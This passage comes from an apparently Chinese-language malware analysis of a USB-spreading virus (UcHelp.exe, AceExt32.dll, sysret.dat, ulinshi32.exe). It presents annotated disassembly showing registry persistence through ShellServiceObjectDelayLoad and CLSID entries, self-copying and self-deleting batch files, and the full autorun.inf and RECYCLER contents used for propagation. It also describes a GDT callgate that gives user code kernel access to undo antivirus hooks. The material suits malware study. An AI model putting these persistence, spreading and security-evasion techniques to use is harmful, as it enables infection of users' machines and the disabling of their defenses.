  811. 004016BE  |.  B9 1F000000   MOV ECX,1F
  812. 004016C3  |.  8D7C24 19     LEA EDI,DWORD PTR SS:[ESP+19]
  813. 004016C7  |.  F3:AB         REP STOS DWORD PTR ES:[EDI]
  814. 004016C9  |.  66:AB         STOS WORD PTR ES:[EDI]
  815. 004016CB  |.  AA            STOS BYTE PTR ES:[EDI]
  816. 004016CC  |.  68 80000000   PUSH 80                         ; /BufSize = 80 (128.)
  817. 004016D1  |.  8D4424 1C     LEA EAX,DWORD PTR SS:[ESP+1C] ; |
  818. 004016D5  |.  50            PUSH EAX                       ; |Buffer
  819. 004016D6  |.  FF15 6C204000 CALL DWORD PTR DS:[<&KERNEL32.GetSy>; \GetSystemDirectoryA
  820. 004016DC  |.  68 20224000   PUSH UcHelp.00402220               ; /\AceExt32.dll
  821. 004016E1  |.  8D4C24 1C     LEA ECX,DWORD PTR SS:[ESP+1C]  ; |
  822. 004016E5  |.  51            PUSH ECX                         ; |ConcatString
  823. 004016E6  |.  FF15 78204000 CALL DWORD PTR DS:[<&KERNEL32.lstrc>; \lstrcatA
  824. 004016EC  |.  8D5424 14     LEA EDX,DWORD PTR SS:[ESP+14]
  825. 004016F0  |.  52            PUSH EDX                            ; /pHandle
  826. 004016F1  |.  68 C0224000   PUSH UcHelp.004022C0
  827. ; |SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad
  828. 004016F6  |.  68 02000080   PUSH 80000002      ; |hKey = HKEY_LOCAL_MACHINE
  829. 004016FB  |.  FF15 10204000 CALL DWORD PTR DS:[<&ADVAPI32.RegOp>; \RegOpenKeyA
  830. 00401701  |.  8B35 3C204000 MOV ESI,DWORD PTR DS:[<&KERNEL32.ls>;  kernel32.lstrlenA
  831. 00401707  |.  8D8424 980000>LEA EAX,DWORD PTR SS:[ESP+98]
  832. 0040170E  |.  50            PUSH EAX                            ; /String
  833. 0040170F  |.  FFD6          CALL ESI                            ; \lstrlenA
  834. 00401711  |.  8B5424 14     MOV EDX,DWORD PTR SS:[ESP+14]
  835. 00401715  |.  8B3D 00204000 MOV EDI,DWORD PTR DS:[<&ADVAPI32.Re>
  836. ;  ADVAPI32.RegSetValueExA
  837. 0040171B  |.  50            PUSH EAX              ; /BufSize
  838. 0040171C  |.  8D8C24 9C0000>LEA ECX,DWORD PTR SS:[ESP+9C]; |
  839. 00401723  |.  51            PUSH ECX                     ; |Buffer
  840. 00401724  |.  6A 01         PUSH 1                        ; |ValueType = REG_SZ
  841. 00401726  |.  6A 00         PUSH 0                        ; |Reserved = 0
  842. 00401728  |.  68 B8224000   PUSH UcHelp.004022B8          ; |AceExt
  843. 0040172D  |.  52            PUSH EDX                    ; |hKey
  844. 0040172E  |.  FFD7          CALL EDI                     ; \RegSetValueExA
  845. 00401730  |.  8B4424 14     MOV EAX,DWORD PTR SS:[ESP+14]
  846. 00401734  |.  8B1D 18204000 MOV EBX,DWORD PTR DS:[<&ADVAPI32.Re>;  ADVAPI32.RegCloseKey
  847. 0040173A  |.  50            PUSH EAX                         ; /hKey
  848. 0040173B  |.  FFD3          CALL EBX                        ; \RegCloseKey
  849. 0040173D  |.  8B2D 0C204000 MOV EBP,DWORD PTR DS:[<&ADVAPI32.Re>;  ADVAPI32.RegCreateKeyA
  850. 00401743  |.  8D4C24 14     LEA ECX,DWORD PTR SS:[ESP+14]      
  851. ;  下面 是 建立 CLSID {35CEC8A3-2BE6-11D2-8773-92E220524150}
  852. 00401747  |.  51            PUSH ECX                            ; /pHandle
  853. 00401748  |.  68 88224000   PUSH UcHelp.00402288
  854. ; |CLSID\{35CEC8A3-2BE6-11D2-8773-92E220524150}
  855. 0040174D  |.  68 00000080   PUSH 80000000       ; |hKey = HKEY_CLASSES_ROOT
  856. 00401752  |.  FFD5          CALL EBP           ; \RegCreateKeyA
  857. 00401754  |.  68 B8224000   PUSH UcHelp.004022B8                ; /AceExt
  858. 00401759  |.  FFD6          CALL ESI                            ; \lstrlenA
  859. 0040175B  |.  8B5424 14     MOV EDX,DWORD PTR SS:[ESP+14]
  860. 0040175F  |.  50            PUSH EAX                      ; /BufSize
  861. 00401760  |.  68 B8224000   PUSH UcHelp.004022B8           ; |AceExt
  862. 00401765  |.  6A 01         PUSH 1                         ; |ValueType = REG_SZ
  863. 00401767  |.  6A 00         PUSH 0                         ; |Reserved = 0
  864. 00401769  |.  68 84224000   PUSH UcHelp.00402284            ; |ValueName = ""
  865. 0040176E  |.  52            PUSH EDX                      ; |hKey
  866. 0040176F  |.  FFD7          CALL EDI                      ; \RegSetValueExA
  867. 00401771  |.  8B4424 14     MOV EAX,DWORD PTR SS:[ESP+14]
  868. 00401775  |.  50            PUSH EAX                            ; /hKey
  869. 00401776  |.  FFD3          CALL EBX                            ; \RegCloseKey
  870. 00401778  |.  8D4C24 14     LEA ECX,DWORD PTR SS:[ESP+14]
  871. 0040177C  |.  51            PUSH ECX                            ; /pHandle
  872. 0040177D  |.  68 48224000   PUSH UcHelp.00402248
  873. ; |CLSID\{35CEC8A3-2BE6-11D2-8773-92E220524150}\InprocServer32
  874. 00401782  |.  68 00000080   PUSH 80000000                       ; |hKey = HKEY_CLASSES_ROOT
  875. 00401787  |.  FFD5          CALL EBP                  ; \RegCreateKeyA
  876. 00401789  |.  8D5424 18 LEA EDX,DWORD PTR SS:[ESP+18] ;建立子键 \InprocServer32
  877. 0040178D  |.  52            PUSH EDX                 ; /String
  878. 0040178E  |.  FFD6          CALL ESI                  ; \lstrlenA
  879. 00401790  |.  50            PUSH EAX                  ; /BufSize
  880. 00401791  |.  8B4C24 18     MOV ECX,DWORD PTR SS:[ESP+18]
  881. ; |以下是 将 AceExt32.dll 与之关联
  882. 00401795  |.  8D4424 1C     LEA EAX,DWORD PTR SS:[ESP+1C]       ; |
  883. 00401799  |.  50            PUSH EAX                    ; |Buffer
  884. 0040179A  |.  6A 01         PUSH 1                       ; |ValueType = REG_SZ
  885. 0040179C  |.  6A 00         PUSH 0                       ; |Reserved = 0
  886. 0040179E  |.  68 84224000   PUSH UcHelp.00402284          ; |ValueName = ""
  887. 004017A3  |.  51            PUSH ECX                    ; |hKey
  888. 004017A4  |.  FFD7          CALL EDI                    ; \RegSetValueExA
  889. 004017A6  |.  68 40224000   PUSH UcHelp.00402240           ; /Both
  890. 004017AB  |.  FFD6          CALL ESI                     ; \lstrlenA
  891. 004017AD  |.  8B5424 14     MOV EDX,DWORD PTR SS:[ESP+14]
  892. 004017B1  |.  50            PUSH EAX                     ; /BufSize
  893. 004017B2  |.  68 40224000   PUSH UcHelp.00402240          ; |Both
  894. 004017B7  |.  6A 01         PUSH 1                        ; |ValueType = REG_SZ
  895. 004017B9  |.  6A 00         PUSH 0                        ; |Reserved = 0
  896. 004017BB  |.  68 30224000   PUSH UcHelp.00402230          ; |ThreadingModel
  897. 004017C0  |.  52            PUSH EDX                    ; |hKey
  898. 004017C1  |.  FFD7          CALL EDI                    ; \RegSetValueExA
  899. 004017C3  |.  8B4424 14     MOV EAX,DWORD PTR SS:[ESP+14]
  900. 004017C7  |.  50            PUSH EAX                         ; /hKey
  901. 004017C8  |.  FFD3          CALL EBX                        ; \RegCloseKey
  902. 004017CA  |.  5F            POP EDI
  903. ;  以上是 相关 CLSID\{35CEC8A3-2BE6-11D2-8773-92E220524150} 的项目情况
  904. 004017CB  |.  5E            POP ESI
  905. 004017CC  |.  5D            POP EBP
  906. 004017CD  |.  5B            POP EBX
  907. 004017CE  |.  8BE5          MOV ESP,EBP
  908. 004017D0  |.  5D            POP EBP
  909. 004017D1  \.  C3            RETN


  910. =====================================================================


  911. 004013A0  /$  55            PUSH EBP
  912. 004013A1  |.  8BEC          MOV EBP,ESP
  913. 004013A3  |.  83E4 F8       AND ESP,FFFFFFF8
  914. 004013A6  |.  81EC 04010000 SUB ESP,104
  915. 004013AC  |.  57            PUSH EDI
  916. 004013AD  |.  33C0          XOR EAX,EAX
  917. 004013AF  |.  C68424 880000>MOV BYTE PTR SS:[ESP+88],0
  918. 004013B7  |.  B9 1F000000   MOV ECX,1F
  919. 004013BC  |.  8DBC24 890000>LEA EDI,DWORD PTR SS:[ESP+89]
  920. 004013C3  |.  F3:AB         REP STOS DWORD PTR ES:[EDI]
  921. 004013C5  |.  66:AB         STOS WORD PTR ES:[EDI]
  922. 004013C7  |.  AA            STOS BYTE PTR ES:[EDI]
  923. 004013C8  |.  33C0          XOR EAX,EAX
  924. 004013CA  |.  C64424 08 00  MOV BYTE PTR SS:[ESP+8],0
  925. 004013CF  |.  B9 1F000000   MOV ECX,1F
  926. 004013D4  |.  8D7C24 09     LEA EDI,DWORD PTR SS:[ESP+9]
  927. 004013D8  |.  F3:AB         REP STOS DWORD PTR ES:[EDI]
  928. 004013DA  |.  66:AB         STOS WORD PTR ES:[EDI]
  929. 004013DC  |.  AA            STOS BYTE PTR ES:[EDI]
  930. 004013DD  |.  68 80000000   PUSH 80                        ; /BufSize = 80 (128.)
  931. 004013E2  |.  8D8424 8C0000>LEA EAX,DWORD PTR SS:[ESP+8C]; |
  932. 004013E9  |.  50            PUSH EAX                       ; |PathBuffer
  933. 004013EA  |.  6A 00         PUSH 0                          ; |hModule = NULL
  934. 004013EC  |.  FF15 7C204000 CALL DWORD PTR DS:[<&KERNEL32.GetMo>; \GetModuleFileNameA
  935. 004013F2  |.  68 80000000   PUSH 80                         ; /BufSize = 80 (128.)
  936. 004013F7  |.  8D4C24 0C     LEA ECX,DWORD PTR SS:[ESP+C] ; |
  937. 004013FB  |.  51            PUSH ECX                      ; |Buffer
  938. 004013FC  |.  FF15 44204000 CALL DWORD PTR DS:[<&KERNEL32.GetWi>; \GetWindowsDirectoryA
  939. 00401402  |.  68 B8214000   PUSH UcHelp.004021B8
  940. ; /\Downloaded Program Files\CxUSBKey.exe
  941. 00401407  |.  8D5424 0C     LEA EDX,DWORD PTR SS:[ESP+C]        ; |
  942. 0040140B  |.  52            PUSH EDX                            ; |ConcatString
  943. 0040140C  |.  FF15 78204000 CALL DWORD PTR DS:[<&KERNEL32.lstrc>; \lstrcatA
  944. 00401412  |.  6A 00         PUSH 0                              ; /FailIfExists = FALSE
  945. 00401414  |.  8D4424 0C     LEA EAX,DWORD PTR SS:[ESP+C] ; |
  946. 00401418  |.  50            PUSH EAX                       ; |NewFileName
  947. 00401419  |.  8D8C24 900000>LEA ECX,DWORD PTR SS:[ESP+90] ; |
  948. 00401420  |.  51            PUSH ECX                        ; |ExistingFileName
  949. 00401421  |.  FF15 40204000 CALL DWORD PTR DS:[<&KERNEL32.CopyF>; \CopyFileA
  950. 00401427  |.  5F            POP EDI                          
  951. ;  将本程序 拷贝至 C:\windows\Downloaded Program Files\CxUSBKey.exe
  952. 00401428  |.  8BE5          MOV ESP,EBP
  953. 0040142A  |.  5D            POP EBP
  954. 0040142B  \.  C3            RETN

  955. =====================================================================


  956. 00401000  /$  55            PUSH EBP
  957. 00401001  |.  8BEC          MOV EBP,ESP
  958. 00401003  |.  83E4 F8       AND ESP,FFFFFFF8
  959. 00401006  |.  81EC 88020000 SUB ESP,288
  960. 0040100C  |.  56            PUSH ESI
  961. 0040100D  |.  57            PUSH EDI
  962. 0040100E  |.  33C0          XOR EAX,EAX
  963. 00401010  |.  C64424 10 00  MOV BYTE PTR SS:[ESP+10],0
  964. 00401015  |.  B9 1F000000   MOV ECX,1F
  965. 0040101A  |.  8D7C24 11     LEA EDI,DWORD PTR SS:[ESP+11]
  966. 0040101E  |.  F3:AB         REP STOS DWORD PTR ES:[EDI]
  967. 00401020  |.  66:AB         STOS WORD PTR ES:[EDI]
  968. 00401022  |.  AA            STOS BYTE PTR ES:[EDI]
  969. 00401023  |.  8D4424 10     LEA EAX,DWORD PTR SS:[ESP+10]
  970. 00401027  |.  50            PUSH EAX                      ; /Buffer
  971. 00401028  |.  68 80000000   PUSH 80                         ; |BufSize = 80 (128.)
  972. 0040102D  |.  FF15 4C204000 CALL DWORD PTR DS:[<&KERNEL32.GetTe>; \GetTempPathA
  973. 00401033  |.  8B35 78204000 MOV ESI,DWORD PTR DS:[<&KERNEL32.ls>; kernel32.lstrcatA
  974. 00401039  |.  68 40214000   PUSH UcHelp.00402140                ; /ziptmp.bat
  975. 0040103E  |.  8D4C24 14     LEA ECX,DWORD PTR SS:[ESP+14]    ; |
  976. 00401042  |.  51            PUSH ECX                          ; |ConcatString
  977. 00401043  |.  FFD6          CALL ESI                           ; \lstrcatA
  978. 00401045  |.  66:A1 3C21400>MOV AX,WORD PTR DS:[40213C]
  979. 0040104B  |.  8B15 38214000 MOV EDX,DWORD PTR DS:[402138]
  980. 00401051  |.  66:898424 940>MOV WORD PTR SS:[ESP+94],AX
  981. 00401059  |.  899424 900000>MOV DWORD PTR SS:[ESP+90],EDX
  982. 00401060  |.  33C0          XOR EAX,EAX
  983. 00401062  |.  B9 3E000000   MOV ECX,3E
  984. 00401067  |.  8DBC24 960000>LEA EDI,DWORD PTR SS:[ESP+96]
  985. 0040106E  |.  F3:AB         REP STOS DWORD PTR ES:[EDI]
  986. 00401070  |.  68 00010000   PUSH 100                        ; /BufSize = 100 (256.)
  987. 00401075  |.  8D8C24 940100>LEA ECX,DWORD PTR SS:[ESP+194] ; |
  988. 0040107C  |.  51            PUSH ECX                        ; |PathBuffer
  989. 0040107D  |.  6A 00         PUSH 0                           ; |hModule = NULL
  990. 0040107F  |.  66:AB         STOS WORD PTR ES:[EDI]          ; |
  991. 00401081  |.  66:C74424 14 >MOV WORD PTR SS:[ESP+14],22      ; |
  992. 00401088  |.  FF15 7C204000 CALL DWORD PTR DS:[<&KERNEL32.GetMo>; \GetModuleFileNameA
  993. 0040108E  |.  8D9424 900100>LEA EDX,DWORD PTR SS:[ESP+190]
  994. 00401095  |.  52            PUSH EDX                           ; /StringToAdd
  995. 00401096  |.  8D8424 940000>LEA EAX,DWORD PTR SS:[ESP+94]     ; |
  996. 0040109D  |.  50            PUSH EAX                            ; |ConcatString
  997. 0040109E  |.  FFD6          CALL ESI                            ; \lstrcatA
  998. 004010A0  |.  8D4C24 08     LEA ECX,DWORD PTR SS:[ESP+8]
  999. 004010A4  |.  51            PUSH ECX                            ; /StringToAdd
  1000. 004010A5  |.  8D9424 940000>LEA EDX,DWORD PTR SS:[ESP+94]       ; |
  1001. 004010AC  |.  52            PUSH EDX                            ; |ConcatString
  1002. 004010AD  |.  FFD6          CALL ESI                            ; \lstrcatA
  1003. 004010AF  |.  68 2C214000   PUSH UcHelp.0040212C                ; /\r\ndel %0
  1004. 004010B4  |.  8D8424 940000>LEA EAX,DWORD PTR SS:[ESP+94]       ; |
  1005. 004010BB  |.  50            PUSH EAX                            ; |ConcatString
  1006. 004010BC  |.  FFD6          CALL ESI                            ; \lstrcatA
  1007. 004010BE  |.  6A 00         PUSH 0                   ; /hTemplateFile = NULL
  1008. 004010C0  |.  6A 00         PUSH 0                   ; |Attributes = 0
  1009. 004010C2  |.  6A 02         PUSH 2                   ; |Mode = CREATE_ALWAYS
  1010. 004010C4  |.  6A 00         PUSH 0                   ; |pSecurity = NULL
  1011. 004010C6  |.  6A 00         PUSH 0                   ; |ShareMode = 0
  1012. 004010C8  |.  68 00000040   PUSH 40000000            ; |Access = GENERIC_WRITE
  1013. 004010CD  |.  8D4C24 28     LEA ECX,DWORD PTR SS:[ESP+28]       ; |
  1014. 004010D1  |.  51            PUSH ECX                            ; |FileName
  1015. 004010D2  |.  FF15 80204000 CALL DWORD PTR DS:[<&KERNEL32.Creat>; \CreateFileA
  1016. 004010D8  |.  8BF0          MOV ESI,EAX
  1017. 004010DA  |.  8D8424 900000>LEA EAX,DWORD PTR SS:[ESP+90]
  1018. 004010E1  |.  8D50 01       LEA EDX,DWORD PTR DS:[EAX+1]
  1019. 004010E4  |>  8A08          /MOV CL,BYTE PTR DS:[EAX]
  1020. 004010E6  |.  40            |INC EAX
  1021. 004010E7  |.  84C9          |TEST CL,CL
  1022. 004010E9  |.^ 75 F9         \JNZ SHORT UcHelp.004010E4
  1023. 004010EB  |.  2BC2          SUB EAX,EDX
  1024. 004010ED  |.  6A 00         PUSH 0                        ; /pOverlapped = NULL
  1025. 004010EF  |.  8D5424 10     LEA EDX,DWORD PTR SS:[ESP+10]; |
  1026. 004010F3  |.  52            PUSH EDX                      ; |pBytesWritten
  1027. 004010F4  |.  50            PUSH EAX                      ; |nBytesToWrite
  1028. 004010F5  |.  8D8424 9C0000>LEA EAX,DWORD PTR SS:[ESP+9C]     ; |
  1029. 004010FC  |.  50            PUSH EAX                            ; |Buffer
  1030. 004010FD  |.  56            PUSH ESI                            ; |hFile
  1031. 004010FE  |.  FF15 84204000 CALL DWORD PTR DS:[<&KERNEL32.Write>; \WriteFile
  1032. 00401104  |.  56            PUSH ESI                            ; /hObject
  1033. 00401105  |.  FF15 88204000 CALL DWORD PTR DS:[<&KERNEL32.Close>; \CloseHandle
  1034. 0040110B  |.  6A 14         PUSH 14                      ; /Timeout = 20. ms
  1035. 0040110D  |.  FF15 8C204000 CALL DWORD PTR DS:[<&KERNEL32.Sleep>; \Sleep
  1036. 00401113  |.  6A 00         PUSH 0                       ; /ShowState = SW_HIDE
  1037. 00401115  |.  8D4C24 14     LEA ECX,DWORD PTR SS:[ESP+14]       ; |
  1038. 00401119  |.  51            PUSH ECX               ; |CmdLine
  1039. 0040111A  |.  FF15 94204000 CALL DWORD PTR DS:[<&KERNEL32.WinEx>; \WinExec
  1040. 00401120  |.  5F            POP EDI                 ;在临时文件夹 创建ziptmp.bat
  1041. 00401121  |.  5E            POP ESI                 ;  写入,删除本程序的批处理
  1042. 00401122  |.  8BE5          MOV ESP,EBP           ;  并且运行
  1043. 00401124  |.  5D            POP EBP
  1044. 00401125  \.  C3            RETN



  1045. 3.2        sysret.dat的分析

  1046. 病毒 主程序 UcHelp.exe 释放资源 ret 的 C:\sysret.dat

  1047. 00401600    55              PUSH EBP
  1048. 00401601    8BEC            MOV EBP,ESP
  1049. 00401603    83E4 F8         AND ESP,FFFFFFF8
  1050. 00401606    81EC 08020000   SUB ESP,208
  1051. 0040160C    56              PUSH ESI
  1052. 0040160D    57              PUSH EDI
  1053. 0040160E    E8 DDFEFFFF     CALL UnPacK_D.004014F0
  1054. ; 释放资源 SYSRET 到 C:\sysret.sys,并加载到系统核心,向GDT添加一个callgate,以便R3的程序可以调用这个callgate来干一些只有R0才能干的事例如恢复杀毒软件或HIPS软件的SSDT HOOK
  1055. 00401613    A1 74114000     MOV EAX,DWORD PTR DS:[401174]
  1056. 00401618    66:8B0D 7811400>MOV CX,WORD PTR DS:[401178]
  1057. 0040161F    894424 10       MOV DWORD PTR SS:[ESP+10],EAX
  1058. 00401623    66:894C24 14    MOV WORD PTR SS:[ESP+14],CX
  1059. 00401628    33C0            XOR EAX,EAX
  1060. 0040162A    B9 3E000000     MOV ECX,3E
  1061. 0040162F    8D7C24 16       LEA EDI,DWORD PTR SS:[ESP+16]
  1062. 00401633    F3:AB           REP STOS DWORD PTR ES:[EDI]
  1063. 00401635    68 00010000     PUSH 100
  1064. 0040163A    8D9424 14010000 LEA EDX,DWORD PTR SS:[ESP+114]
  1065. 00401641    52              PUSH EDX
  1066. 00401642    6A 00           PUSH 0
  1067. 00401644    66:AB           STOS WORD PTR ES:[EDI]
  1068. 00401646    66:C74424 14 22>MOV WORD PTR SS:[ESP+14],22
  1069. 0040164D    FF15 40104000   CALL DWORD PTR DS:[<&KERNEL32.GetModuleF>; kernel32.GetModuleFileNameA
  1070. 00401653    8B35 3C104000   MOV ESI,DWORD PTR DS:[<&KERNEL32.lstrcat>; kernel32.lstrcatA
  1071. 00401659    8D8424 10010000 LEA EAX,DWORD PTR SS:[ESP+110]
  1072. 00401660    50              PUSH EAX
  1073. 00401661    8D4C24 14       LEA ECX,DWORD PTR SS:[ESP+14]
  1074. 00401665    51              PUSH ECX
  1075. 00401666    FFD6            CALL ESI
  1076. 00401668    8D5424 08       LEA EDX,DWORD PTR SS:[ESP+8]
  1077. 0040166C    52              PUSH EDX
  1078. 0040166D    8D4424 14       LEA EAX,DWORD PTR SS:[ESP+14]
  1079. 00401671    50              PUSH EAX
  1080. 00401672    FFD6            CALL ESI
  1081. 00401674    68 68114000     PUSH UnPacK_D.00401168     ; ASCII "del %0"
  1082. 00401679    8D4C24 14       LEA ECX,DWORD PTR SS:[ESP+14]
  1083. 0040167D    51              PUSH ECX
  1084. 0040167E    FFD6            CALL ESI
  1085. 00401680    6A 00           PUSH 0
  1086. 00401682    6A 00           PUSH 0
  1087. 00401684    6A 02           PUSH 2
  1088. 00401686    6A 00           PUSH 0
  1089. 00401688    6A 00           PUSH 0
  1090. 0040168A    68 00000040     PUSH 40000000
  1091. 0040168F    68 5C114000     PUSH UnPacK_D.0040115C         ; ASCII "tempds.bat"
  1092. 00401694    FF15 24104000   CALL DWORD PTR DS:[<&KERNEL32.CreateFile>; kernel32.CreateFileA
  1093. 0040169A    8BF0            MOV ESI,EAX
  1094. 0040169C    8D4424 10       LEA EAX,DWORD PTR SS:[ESP+10]
  1095. 004016A0    8D50 01         LEA EDX,DWORD PTR DS:[EAX+1]
  1096. 004016A3    8A08            MOV CL,BYTE PTR DS:[EAX]
  1097. 004016A5    40              INC EAX
  1098. 004016A6    84C9            TEST CL,CL
  1099. 004016A8  ^ 75 F9           JNZ SHORT UnPacK_D.004016A3
  1100. 004016AA    2BC2            SUB EAX,EDX
  1101. 004016AC    6A 00           PUSH 0
  1102. 004016AE    8D5424 10       LEA EDX,DWORD PTR SS:[ESP+10]
  1103. 004016B2    52              PUSH EDX
  1104. 004016B3    50              PUSH EAX
  1105. 004016B4    8D4424 1C       LEA EAX,DWORD PTR SS:[ESP+1C]
  1106. 004016B8    50              PUSH EAX
  1107. 004016B9    56              PUSH ESI
  1108. 004016BA    FF15 1C104000   CALL DWORD PTR DS:[<&KERNEL32.WriteFile>>; kernel32.WriteFile
  1109. 004016C0    56              PUSH ESI
  1110. 004016C1    FF15 18104000   CALL DWORD PTR DS:[<&KERNEL32.CloseHandl>; kernel32.CloseHandle
  1111. 004016C7    6A 14           PUSH 14
  1112. 004016C9    FF15 38104000   CALL DWORD PTR DS:[<&KERNEL32.Sleep>]    ; kernel32.Sleep
  1113. 004016CF    6A 00           PUSH 0
  1114. 004016D1    68 5C114000     PUSH UnPacK_D.0040115C         ; ASCII "tempds.bat"
  1115. 004016D6    FF15 34104000   CALL DWORD PTR DS:[<&KERNEL32.WinExec>]  ; kernel32.WinExec
  1116. 004016DC    5F              POP EDI          ; 在 本文件夹下面创建 tempds.bat
  1117. 004016DD    5E              POP ESI          ; 写入 删除本程序的批处理脚本
  1118. 004016DE    8BE5            MOV ESP,EBP     ; 运行 tempds.bat 咯
  1119. 004016E0    5D              POP EBP
  1120. 004016E1    C2 1000         RETN 10

  1121. ============================================

  1122. 注意:
  1123. 004015D5   /74 0D           JE SHORT UnPacK_D.004015E4
  1124. 004015D7   |68 80144000     PUSH UnPacK_D.00401480
  1125. 004015DC   |E8 CFFEFFFF     CALL UnPacK_D.004014B0                        ;这里是向GDT添加一个callgate,以便R3的程序可以调用这个callgate来获取R0权限,例如恢复杀毒软件或HIPS软件的SSDT HOOK


  1126. 3.3        AceExt32.dll的分析

  1127. 汇编代码略过,主要完成一下功能
  1128. 1.        修改注册表
  1129. SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad
  1130. 把 AceExt32.dll 加载到 Explorer.exe 进行中
  1131. ZipExt32.dll 也同上被加载到Explorer.exe 进行中
  1132. 2.        修改注册表
  1133. 写入{35CEC8A3-2BE6-11D2-8773-92E220524150}到 CLSD 关联 AceExt32.dll
  1134. 3.        AceExt32.dll 这个dll Hook了系统函数,还具有隐藏文件名为“autorun.inf”的文件并限制对该文件的读取和修改
  1135. 4.        调用UnHelp.exe运行
  1136. 5.  写文件
  1137. ----------------------------------------------
  1138. 创建文件夹
  1139. X:\RECYCLER\
  1140. ----------------------------------------------
  1141. 写入文件
  1142. X:\RECYCLER\UcHelp.exe
  1143. X:\RECYCLER\desktop.ini
  1144. X:\autorun.inf

  1145. X:\autorun.inf内容:
  1146. ===========================
  1147. [AutoRun]
  1148. Shell=打开(&O)
  1149. shell\打开(&O)\command=RECYCLER\UcHelp.exe

  1150. X:\RECYCLER\desktop.ini内容:
  1151. ===========================================
  1152. [.ShellClassInfo]
  1153. CLSID={645FF040-5081-101B-9F08-00AA002F954E}
  1154. ===========================================


  1155. 3.4        ulinshi32.exe的分析

  1156. 00401700  /$  55            PUSH EBP
  1157. 00401701  |.  8BEC          MOV EBP,ESP
  1158. 00401703  |.  83E4 F8       AND ESP,FFFFFFF8
  1159. 00401706  |.  81EC 04020000 SUB ESP,204
  1160. 0040170C  |.  53            PUSH EBX
  1161. 0040170D  |.  56            PUSH ESI
  1162. 0040170E  |.  57            PUSH EDI
  1163. 0040170F  |.  33C0          XOR EAX,EAX
  1164. 00401711  |.  C64424 10 00  MOV BYTE PTR SS:[ESP+10],0
  1165. 00401716  |.  8B35 94204000 MOV ESI,DWORD PTR DS:[<&kernel32.GetWin>;  kernel32.GetWindowsDirectoryA
  1166. 0040171C  |.  B9 3F000000   MOV ECX,3F
  1167. 00401721  |.  8D7C24 11     LEA EDI,DWORD PTR SS:[ESP+11]
  1168. 00401725  |.  F3:AB         REP STOS DWORD PTR ES:[EDI]
  1169. 00401727  |.  66:AB         STOS WORD PTR ES:[EDI]
  1170. 00401729  |.  AA            STOS BYTE PTR ES:[EDI]
  1171. 0040172A  |.  33C0          XOR EAX,EAX
  1172. 0040172C  |.  C68424 100100>MOV BYTE PTR SS:[ESP+110],0
  1173. 00401734  |.  B9 3F000000   MOV ECX,3F
  1174. 00401739  |.  8DBC24 110100>LEA EDI,DWORD PTR SS:[ESP+111]
  1175. 00401740  |.  F3:AB         REP STOS DWORD PTR ES:[EDI]
  1176. 00401742  |.  66:AB         STOS WORD PTR ES:[EDI]
  1177. 00401744  |.  AA            STOS BYTE PTR ES:[EDI]
  1178. 00401745  |.  68 00010000   PUSH 100                        ; /BufSize = 100 (256.)
  1179. 0040174A  |.  8D4424 14     LEA EAX,DWORD PTR SS:[ESP+14]; |
  1180. 0040174E  |.  50            PUSH EAX                      ; |Buffer
  1181. 0040174F  |.  FFD6          CALL ESI                    ; \GetWindowsDirectoryA
  1182. 00401751  |.  8B3D 34204000 MOV EDI,DWORD PTR DS:[<&kernel32.lstrca>;  kernel32.lstrcatA
  1183. 00401757  |.  68 78214000   PUSH UnPack_D.00402178
  1184. ; /String2 = "\Downloaded Program Files\ZipExt32.dll"
  1185. 0040175C  |.  8D4C24 14     LEA ECX,DWORD PTR SS:[ESP+14 ; |
  1186. 00401760  |.  51            PUSH ECX                       ; |String1
  1187. 00401761  |.  FFD7          CALL EDI                      ; \lstrcat
  1188. 00401763  |.  68 00010000   PUSH 100                        ; /BufSize = 100 (256.)
  1189. 00401768  |.  8D9424 140100>LEA EDX,DWORD PTR SS:[ESP+114]; |
  1190. 0040176F  |.  52            PUSH EDX                    ; |Buffer
  1191. 00401770  |.  FFD6          CALL ESI                    ; \GetWindowsDirectoryA
  1192. 00401772  |.  68 10234000   PUSH UnPack_D.00402310                  ; /String2 = "\Downloaded Program Files\Ext32.dat"
  1193. 00401777  |.  8D8424 140100>LEA EAX,DWORD PTR SS:[ESP+114]          ; |
  1194. 0040177E  |.  50            PUSH EAX                                ; |String1
  1195. 0040177F  |.  FFD7          CALL EDI                                ; \lstrcat
  1196. 00401781  |.  8D8C24 100100>LEA ECX,DWORD PTR SS:[ESP+110]
  1197. 00401788  |.  51            PUSH ECX                              ; /FileName
  1198. 00401789  |.  FF15 68204000 CALL DWORD PTR DS:[<&kernel32.DeleteFil>; \DeleteFileA
  1199. 0040178F  |.  8D9424 100100>LEA EDX,DWORD PTR SS:[ESP+110]         
  1200. ;  删除 C:\windows\Downloaded Program Files\Ext32.dat
  1201. 00401796  |.  52            PUSH EDX                              ; /NewName
  1202. 00401797  |.  8D4424 14     LEA EAX,DWORD PTR SS:[ESP+14]
  1203. ; |C:\windows\Downloaded Program Files\ZipExt32.dll 改名 C:\windows\Downloaded Program Files\Ext32.dll
  1204. 0040179B  |.  50            PUSH EAX                        ; |ExistingName
  1205. 0040179C  |.  FF15 70204000 CALL DWORD PTR DS:[<&kernel32.MoveFileA>; \MoveFileA
  1206. 004017A2  |.  E8 89FCFFFF   CALL UnPack_D.00401430
  1207. ;  先。删除以前生成的相关dll,再释放资源 ceo 到C:\windows\Downloaded Program Files\ZipExt32.dll
  1208. 004017A7  |.  E8 84FEFFFF   CALL UnPack_D.00401630
  1209. ;  释放资源 hiv 到 c:\tmp.hiv,执行完他的任务,去死
  1210. 004017AC  |.  8B1D 18204000 MOV EBX,DWORD PTR DS:[<&advapi32.RegCre>;  advapi32.RegCreateKeyA
  1211. 004017B2  |.  8D4C24 0C     LEA ECX,DWORD PTR SS:[ESP+C]
  1212. 004017B6  |.  51            PUSH ECX           ; /pHandle
  1213. 004017B7  |.  68 E0224000   PUSH UnPack_D.004022E0
  1214. ; |Subkey = "CLSID\{35CEC8A3-2BE6-11D2-8773-92E220524140}"
  1215. 004017BC  |.  68 00000080   PUSH 80000000      ; |hKey = HKEY_CLASSES_ROOT
  1216. 004017C1  |.  FFD3          CALL EBX          ; \RegCreateKeyA
  1217. 004017C3  |.  8B35 6C204000 MOV ESI,DWORD PTR DS:[<&kernel32.lstrle>
  1218. ;  建立 CLSID\{35CEC8A3-2BE6-11D2-8773-92E220524140}
  1219. 004017C9  |.  68 D4224000   PUSH UnPack_D.004022D4         ; /String = "ZipExt32"
  1220. 004017CE  |.  FFD6          CALL ESI                       ; \lstrlenA
